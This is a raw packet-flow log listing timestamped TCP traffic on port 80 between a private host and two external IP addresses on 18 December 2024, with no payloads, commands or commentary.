Dec 18, 2024 09:13:07.096977949 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.097131014 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.097197056 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.097243071 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.098028898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.098131895 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.098180056 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.098948956 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.099059105 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.099112988 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.099824905 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.099956989 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.100081921 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.100760937 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.100867033 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.100950956 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.101718903 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.101789951 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.102040052 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.137525082 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.137618065 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.137825966 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.137965918 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.138056040 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.138142109 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.138863087 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.138917923 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.138971090 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.139794111 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.139852047 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.139942884 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.140752077 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.140811920 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.140872002 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.141634941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.141715050 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.141765118 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.142549992 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.142623901 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.142749071 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.177582026 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.177676916 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.177731037 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.177970886 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.178132057 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.178189993 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.178946018 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.179183006 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.179241896 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.179799080 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.180162907 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.180248976 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.180295944 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.181152105 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.181168079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.181201935 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.182143927 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.182159901 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.182212114 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.183001041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.183024883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.183063030 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.183898926 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.183974981 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.184067011 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.184839010 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.184854984 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.184904099 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.185657978 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.185722113 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.186275005 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.186839104 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.186855078 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.186888933 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.187567949 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.187592030 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.187612057 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.188397884 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.188442945 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.188636065 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.189457893 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.189474106 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.189511061 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.190315962 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.190335989 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.190395117 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.191337109 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.191360950 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.191397905 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.192236900 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.192253113 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.192282915 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.193118095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.193134069 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.193173885 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.194199085 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.194214106 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.194262981 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.194998980 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.195014954 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.195065975 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.195904970 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.195919991 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.195952892 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.196867943 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.196883917 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.196937084 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.197782993 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.197798967 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.197837114 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.198657990 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.198717117 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.198725939 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.199645042 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.199661970 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.199706078 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.200885057 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.200938940 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.200959921 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.201479912 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.201494932 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.201545954 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.202326059 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.202445030 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.202508926 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.203360081 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.203375101 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.203423023 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.204211950 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.204262018 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.204272032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.205128908 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.205173969 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.205177069 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.206084967 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.206099987 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.206151009 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.206974983 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.207050085 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.207058907 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.207945108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.207959890 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.208007097 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.208795071 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.208954096 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.209036112 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.209748983 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.209801912 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.209804058 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.210638046 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.210700035 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.210756063 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.211544037 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.211592913 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.211632967 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.212486029 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.212547064 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.212549925 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.213457108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.213704109 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.287847996 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.287870884 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.287940025 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.288043022 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.288237095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.288285017 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.288619041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.288671017 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.288788080 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.289505005 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.289652109 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.289709091 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.290448904 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.290662050 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.290723085 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.291357040 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.291479111 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.291528940 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.292345047 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.292570114 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.292625904 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.293240070 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.329010963 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.329066038 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.329088926 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.329442024 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.329529047 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.329572916 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.330363989 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.330424070 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.330482960 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.331279039 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.331331015 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.331331968 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.332245111 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.332293987 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.332468033 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.333221912 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.333239079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.333271027 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.334099054 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.334161997 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.334201097 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.368731022 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.368778944 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.368846893 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.369127035 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.369229078 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.369251966 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.370080948 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.370156050 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.370227098 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.370937109 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.371005058 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.371227980 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.371371984 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.371442080 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.372211933 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.372314930 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.372369051 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.373122931 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.373234034 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.373286963 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.374022007 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.374218941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.374269962 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.374943018 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.375026941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.375137091 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.375929117 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.376019001 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.376075029 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.377098083 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.377273083 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.377322912 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.378120899 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.378309011 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.378586054 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.378654003 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.378854990 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.378911972 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.379625082 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.379720926 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.379770994 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.380503893 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.380677938 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.380798101 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.381519079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.381536007 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.381603003 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.382364035 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.382466078 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.382513046 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.383366108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.383574009 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.383620977 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.384244919 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.384655952 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.384705067 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.385186911 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.385262012 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.385308027 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.386099100 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.386154890 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.386483908 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.387108088 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.387208939 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.387334108 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.388009071 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.388078928 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.388144970 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.389508963 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.389797926 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.390064001 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.390439987 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.390542984 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.390630007 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.391120911 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.391138077 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.391182899 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.391793013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.391906977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.392045021 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.392493963 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.392580032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.392678976 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.393533945 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.393790007 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.393855095 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.394709110 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.542073965 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:08.881382942 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:12.256968021 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:12.376707077 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:12.376806974 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:12.417023897 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:12.536755085 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.875879049 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.875905991 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.875917912 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.875976086 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:13.876049042 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.876060963 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.876071930 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.876082897 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.876094103 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:13.876095057 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.876123905 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:13.876149893 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:13.876430988 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.876442909 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.876503944 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:13.996063948 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.996098042 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:13.996431112 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.085616112 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.085632086 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.085731030 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.089788914 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.089898109 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.089963913 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.098320961 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.098335028 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.098387003 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.106323957 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.106338024 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.106405020 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.114542961 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.115091085 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.118273973 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.122986078 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.123156071 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.123223066 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.131414890 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.131833076 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.131889105 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.139806032 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.139822960 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.139880896 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.148103952 CET	80	49716	139.99.188.124	192.168.2.5
